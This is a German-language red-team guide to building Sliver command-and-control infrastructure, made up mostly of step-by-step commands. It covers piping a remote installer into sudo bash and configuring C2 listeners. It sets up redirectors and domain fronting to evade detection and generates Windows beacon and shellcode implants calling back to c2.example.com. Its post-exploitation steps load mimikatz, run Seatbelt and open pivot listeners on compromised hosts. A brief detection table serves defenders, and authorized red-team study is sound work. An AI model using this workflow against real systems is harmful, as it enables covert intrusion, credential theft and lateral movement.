C2-Infrastruktur mit dem Sliver-Framework aufbauen

Was macht C2-Infrastruktur mit dem Sliver-Framework aufbauen?

Überblick

Sliver ist ein quelloffenes, plattformübergreifendes Framework zur Gegneremulation, das von BishopFox entwickelt und in Go geschrieben wurde. Es bietet Red Teams Funktionen zur Implantat-Generierung, Multi-Protokoll-C2-Kanäle (mTLS, HTTP/S, DNS, WireGuard), Multi-Operator-Unterstützung und umfangreiche Post-Exploitation-Fähigkeiten. Sliver unterstützt Beacon- (asynchron) und Session- (interaktiv) Modi und eignet sich daher sowohl für Langzeitoperationen als auch für interaktive Ausnutzung. Eine richtig aufgebaute Sliver-Infrastruktur verwendet Redirectors, Domain-Fronting und HTTPS-Zertifikate, um die betriebliche Belastbarkeit zu gewährleisten und Erkennung zu vermeiden.

Wann verwenden

• Bei der Bereitstellung oder Konfiguration von C2-Infrastruktur-Funktionen mit dem Sliver-Framework in Ihrer Umgebung
• Bei der Einrichtung von Sicherheitskontrollen, die auf Compliance-Anforderungen abgestimmt sind
• Beim Aufbau oder der Verbesserung der Sicherheitsarchitektur für diesen Bereich
• Bei der Durchführung von Sicherheitsbewertungen, die diese Implementierung erfordern

Voraussetzungen

• Vertrautheit mit Red-Teaming-Konzepten und -Werkzeugen
• Zugriff auf eine Test- oder Laborumgebung für die sichere Ausführung
• Python 3.8+ mit installierten erforderlichen Abhängigkeiten
• Entsprechende Autorisierung für alle Testaktivitäten

Ziele

• Bereitstellung eines Sliver-Team-Servers auf gehärteter Cloud-Infrastruktur
• Konfiguration von HTTPS-, mTLS-, DNS- und WireGuard-Listenern
• Generierung von Implantaten (Beacons und Sessions) für Zielplattformen
• Einrichtung von NGINX- oder Apache-Redirectors zwischen Implantaten und Team-Server
• Implementierung von Cloudflare- oder CDN-basiertem Domain-Fronting zur Verkehrsverschleierung
• Konfiguration des Multi-Operator-Zugriffs mit zertifikatsbasierter Authentifizierung
• Einrichtung von betrieblichen Sicherheitskontrollen für die C2-Kommunikation

MITRE ATT&CK-Zuordnung

• T1071.001 – Application Layer Protocol: Web Protocols
• T1071.004 – Application Layer Protocol: DNS
• T1573.002 – Encrypted Channel: Asymmetric Cryptography
• T1090.002 – Proxy: External Proxy (Redirectors)
• T1105 – Ingress Tool Transfer
• T1132.001 – Data Encoding: Standard Encoding
• T1572 – Protocol Tunneling

Arbeitsablauf

Phase 1: Team-Server-Bereitstellung

1. Stellen Sie einen VPS (z. B. DigitalOcean, Linode, AWS EC2) für den Team-Server bereit
2. Härten Sie das Betriebssystem: Deaktivieren Sie die SSH-Passwort-Authentifizierung, konfigurieren Sie UFW/iptables, installieren Sie fail2ban
3. Installieren Sie Sliver mit dem offiziellen Installationsskript:

   curl https://sliver.sh/install | sudo bash
   

4. Starten Sie den Sliver-Server-Daemon:

   systemctl start sliver
   # Oder interaktiv ausführen
   sliver-server
   

5. Generieren Sie Operator-Konfigurationsdateien für Teammitglieder:

   new-operator --name operator1 --lhost <team-server-ip>
   

Phase 2: Listener-Konfiguration

1. Konfigurieren Sie einen HTTPS-Listener mit einem gültigen SSL-Zertifikat:

   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /pfad/zu/cert.pem --key /pfad/zu/key.pem
   

2. Konfigurieren Sie einen DNS-Listener für den Fallback-C2-Kanal:

   dns --domains c2dns.example.com --lport 53
   

3. Konfigurieren Sie einen mTLS-Listener für hochsichere Sitzungen:

   mtls --lhost 0.0.0.0 --lport 8888
   

4. Konfigurieren Sie einen WireGuard-Listener für getunnelten Zugriff:

   wg --lport 51820
   

Phase 3: Redirector-Einrichtung

1. Stellen Sie einen separaten VPS als Redirector bereit (zwischen den Zielsystemen und dem Team-Server positioniert)
2. Installieren und konfigurieren Sie NGINX als Reverse-Proxy:

   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
   
       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }
   

3. Konfigurieren Sie iptables-Regeln auf dem Team-Server, um nur Verbindungen vom Redirector zu akzeptieren:

   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP
   

4. Richten Sie optional Cloudflare als CDN-Schicht vor dem Redirector für Domain-Fronting ein

Phase 4: Implantat-Generierung

1. Generieren Sie ein HTTPS-Beacon-Implantat:

   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
   

2. Generieren Sie ein DNS-Beacon für eingeschränkte Netzwerke:

   generate beacon --dns c2dns.example.com --os windows --arch amd64
   

3. Generieren Sie einen Shellcode-Payload zur Injektion:

   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
   

4. Konfigurieren Sie Beacon-Jitter und Rückrufintervalle:

   generate beacon --http https://c2.example.com --seconds 60 --jitter 30
   

Phase 5: Post-Exploitation-Operationen

1. Interagieren Sie mit aktiven Beacons/Sessions:

   beacons        # Aktive Beacons auflisten
   use <beacon-id> # Mit einem Beacon interagieren
   

2. Führen Sie Post-Exploitation-Module aus:

   ps              # Prozessliste
   netstat         # Netzwerkverbindungen
   execute-assembly /pfad/zu/Seatbelt.exe -group=all  # .NET-Assemblys ausführen
   sideload /pfad/zu/mimikatz.dll  # DLLs laden
   

3. Richten Sie Pivots für den Zugriff auf interne Netzwerke ein:

   pivots tcp --bind 0.0.0.0:9898  # Pivot-Listener auf kompromittiertem Host erstellen
   

4. Verwenden Sie BOFs (Beacon Object Files) für die Ausführung im Arbeitsspeicher:

   armory install sa-ldapsearch  # Aus der Armory installieren
   sa-ldapsearch -- "(objectClass=user)"  # BOF ausführen
   

Werkzeuge und Ressourcen

Werkzeug	Zweck	Plattform
Sliver Server	C2-Team-Server und Implantat-Verwaltung	Linux/macOS/Windows
Sliver Client	Operator-Konsole für Teammitglieder	Plattformübergreifend
NGINX	Redirector und Reverse-Proxy	Linux
Certbot	Let's Encrypt SSL-Zertifikatserstellung	Linux
Cloudflare	CDN und Domain-Fronting	Cloud
Armory	Sliver-Erweiterungs-/BOF-Paketmanager	Integriert

Erkennungssignaturen

Indikator	Erkennungsmethode
Standardmäßige Sliver-HTTP-Header	Netzwerkverkehrsanalyse auf ungewöhnliche User-Agent-Strings
mTLS auf nicht standardmäßigen Ports	Firewall-Logs auf ausgehende Verbindungen zu ungewöhnlichen Ports
DNS-TXT-Abfragen mit hoher Entropie	DNS-Log-Analyse auf codierten C2-Verkehr
WireGuard-UDP-Verkehr auf Port 51820	Netzwerkflussanalyse auf WireGuard-Handshake-Muster
Datei-Hashes von Sliver-Implantaten	EDR/AV-Signaturabgleich mit bekannten Sliver-Beispielen

Validierungskriterien

• Team-Server bereitgestellt und mit Firewall-Regeln gehärtet
• HTTPS-Listener mit gültigem SSL-Zertifikat konfiguriert
• DNS-Listener als Fallback-C2-Kanal konfiguriert
• Mindestens ein Redirector zwischen Zielsystemen und Team-Server bereitgestellt
• Multi-Operator-Zugriff mit eindeutigen Zertifikaten konfiguriert
• Implantate für Zielbetriebssysteme generiert
• Beacon-Rückrufintervalle und Jitter für Tarnung konfiguriert
• Post-Exploitation-Module getestet (Prozessliste, .NET-Assembly-Ausführung)
• Pivot-Funktionalität für den Zugriff auf interne Netzwerke validiert
• Der gesamte C2-Verkehr ist verschlüsselt und durchläuft die Redirectors